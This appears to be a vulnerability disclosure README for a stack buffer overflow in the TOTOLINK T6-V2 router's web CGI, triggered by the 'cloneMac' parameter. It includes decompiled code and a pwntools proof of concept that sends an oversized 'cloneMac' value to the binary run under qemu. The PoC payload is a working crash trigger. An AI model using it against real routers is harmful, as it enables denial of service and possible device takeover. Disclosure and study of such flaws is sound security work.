d1tto add totolink T6-v2 ... on May 29 History

..

img	6 months ago
readme.md	6 months ago

readme.md

Overview

- The device's official website: http://www.totolink.cn/home/menu/detail.html?menu_listtpl=products&id=16&ids=33
- Firmware download website: http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=16&ids=36

Affected version

T6-V2 V4.1.9cu.5179_B20201015

Vulnerability details

The vulnerability exists in the router's WEB component. `/web_cste/cgi-bin/cstecgi.cgi` `FUN_0041af40` (at address 0x41af40) gets the JSON parameter `cloneMac`, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

```
Decompile: FUN_0041af40 -  (cstecgi.cgi)
296   }
297   websGetVar(param_1,"clone","0");
298   pcVar1 = (char *)websGetVar(param_1,"cloneMac","");
299   pcVar2 = (char *)websGetVar(param_1,"ttlWay","1");
300   local_160 = atoi(pcVar2);
301   apmib_set(0x485c,&local_160);
302   local_cc = 0;
303   local_c8 = 0;
304   local_c4 = 0;
305   local_c0 = 0;
306   local_bc = 0;
307   local_b8 = 0;
308   local_b4 = 0;
309   local_b0 = 0;
310   local_ac = 0;
311   local_a8 = 0;
312   local_a4 = 0;
313   local_a0 = 0;
314   local_9c = 0;
315   local_98 = 0;
316   local_94 = 0;
317   local_90 = 0;
318   if (pcVar1 != (char *)0x0) {
319     pcVar1 = strtok(pcVar1,":");
320     if (pcVar1 == (char *)0x0) goto LAB_0041bcc8;
321     strcat((char *)&local_cc,pcVar1);
322     while( true ) {
323       pcVar1 = strtok((char *)0x0,":");
324       if (pcVar1 == (char *)0x0) break;
325       strcat((char *)&local_cc,pcVar1);
326     }
327     FUN_004232bc(&local_cc,&local_ac,0xc);
```

PoC

```
from pwn import *
import json

data = {
    "topicurl": "setting/setWanCfg",
    "proto": "0",
    "staticIp": "192.168.2.1",
    "staticMask": "255.255.255.0",
    "staticGw": "192.168.2.1",
    "staticMtu": "0",
    "cloneMac": "A"*0x400
}

data = json.dumps(data)
print(data)
```

```
argv = [
    "qemu-mipsel-static",
    "-g", "1234",
    "-L", "./root/",
    "-E", "CONTENT_LENGTH={}".format(len(data)),
    "-E", "REMOTE_ADDR=192.168.2.1",
    "./cstecgi.cgi"
]

a = process(argv=argv)
a.sendline(data.encode())

a.interactive()
```